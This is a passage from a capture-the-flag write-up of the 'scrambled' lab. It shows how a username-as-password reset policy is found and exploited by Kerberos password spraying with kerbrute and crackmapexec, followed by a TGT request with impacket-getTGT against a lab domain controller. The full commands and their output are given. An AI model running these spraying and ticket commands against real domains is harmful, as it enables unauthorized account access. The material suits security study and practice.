Password Reset


During the web enumeration, there is a mention of a temporarily non-operational self-service password reset system, which provides insights into potential vulnerabilities. The outlined alternative process for password reset, specifically resetting the password to match the user’s username, indicates a noteworthy security concern. This information suggests a historical reliance on a less secure password matching practice.

A thorough examination of this vulnerability prompts the need for a comprehensive evaluation. The non-operational status of the self-service system and the organization’s approach to password reset underscore potential weaknesses in the authentication mechanism. The policy that passwords will be set to match usernames, even temporarily, raises the risk of easily exploitable security gaps.

Password Spray


From an adversarial standpoint, a strategic approach involves leveraging this knowledge to conduct a targeted attack. By performing a password spray attack, where a list of collected usernames is used as potential passwords, the aim is to exploit the historical pattern of setting passwords equal to usernames. This method increases the probability of success in gaining unauthorized access. This assessment emphasizes the critical need for prompt attention and remediation to enhance the organization’s overall security posture.

Additionally, only Kerberos authentication is allowed due to the network-level restriction set to the target domain

kerberute


┌──(kali㉿kali)-[~/archive/htb/labs/scrambled]
└─$ kerbrute passwordspray --dc dc1.scrm.local -d SCRM.LOCAL ./users.txt --user-as-pass
 
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
 
version: v1.0.3 (9dad6e1) - 11/17/23 - Ronnie Flathers @ropnop
 
2023/11/17 16:56:19 >  Using KDC(s):
2023/11/17 16:56:19 >  	dc1.scrm.local:88
 
2023/11/17 16:56:20 >  [+] VALID LOGIN:	 ksimpson@SCRM.LOCAL:ksimpson
2023/11/17 16:56:20 >  Done! Tested 6 logins (1 successes) in 1.052 seconds

kerbrute supports using username as password with the --user-as-pass flag a single credential returned positive; ksimpson:ksimpson

crackmapexec


┌──(kali㉿kali)-[~/archive/htb/labs/scrambled]
└─$ crackmapexec smb dc1.scrm.local --kdcHost dc1.scrm.local -d scrm.local --kerberos -u users.txt -p users.txt --continue-on-success
SMB         dc1.scrm.local  445    dc1.scrm.local   [*]  x64 (name:dc1.scrm.local) (domain:scrm.local) (signing:True) (SMBv1:False)
 
[...REDACTED...]
 
SMB         dc1.scrm.local  445    dc1.scrm.local   [+] scrm.local\ksimpson:ksimpson 
 
[...REDACTED...]

Same result can be achived using crackmapexec This is evident that the ksimpson user, at one point, has requested a password reset to the IT department and the IT department, as mentioned in the web server, has reset the user’s password to the username; ksimpson

Validation


Given the absence of NTLM authentication in the target domain, opting for engagement through Kerberos authentication with a Ticket Granting Ticket (TGT) would be a more favorable decision.

┌──(kali㉿kali)-[~/archive/htb/labs/scrambled]
└─$ impacket-getTGT scrm.local/ksimpson@dc1.scrm.local -k -dc-ip $IP
Impacket v0.11.0 - Copyright 2023 Fortra
 
password: ksimpson
[*] Saving ticket in ksimpson@dc1.scrm.local.ccache

Validated The -k flag was required to authenticate to the target KDC instead of the default NTLM